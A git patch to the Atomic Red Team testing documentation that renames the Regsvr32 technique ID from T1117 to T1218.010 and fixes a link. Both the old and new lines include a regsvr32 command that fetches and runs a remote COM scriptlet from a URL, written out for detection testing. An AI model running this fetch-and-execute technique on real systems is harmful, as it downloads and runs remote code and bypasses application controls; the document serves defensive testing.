From 91d71a722e6795837fee2e550f432af29fb971b4 Mon Sep 17 00:00:00 2001 From: Brian <48603721+briancdonohue@users.noreply.github.com> Date: Wed, 8 Jul 2020 12:11:26 -0400 Subject: [PATCH] Update testing.md (#1110) The "which are located here" hyperlink and the content of the actual test in the "Execute a Test" section are both broken due to the sub-techniques update. --- docs/testing.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/testing.md b/docs/testing.md index 6b2d7203..6d8c1799 100644 --- a/docs/testing.md +++ b/docs/testing.md @@ -37,14 +37,14 @@ matrices linking to Atomic Tests can be found here: ## Execute Test -In this example we will use Technique `T1117 "Regsvr32"` and Atomic Test `"Regsvr32 remote COM scriptlet execution"`. This particular +In this example we will use Technique `T1218.010 "Regsvr32"` and Atomic Test `"Regsvr32 remote COM scriptlet execution"`. This particular test is fairly easy to exercise since the tool is on all Windows workstations by default. -The details of this test, [which are located here](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/T1117.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution), +The details of this test, [which are located here](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/T1218.010.md#atomic-test-1---regsvr32-local-com-scriptlet-execution), describe how you can test your detection by simply running the below command: ``` -regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/src/RegSvr32.sct scrobj.dll +regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct scrobj.dll ``` ## Collect Evidence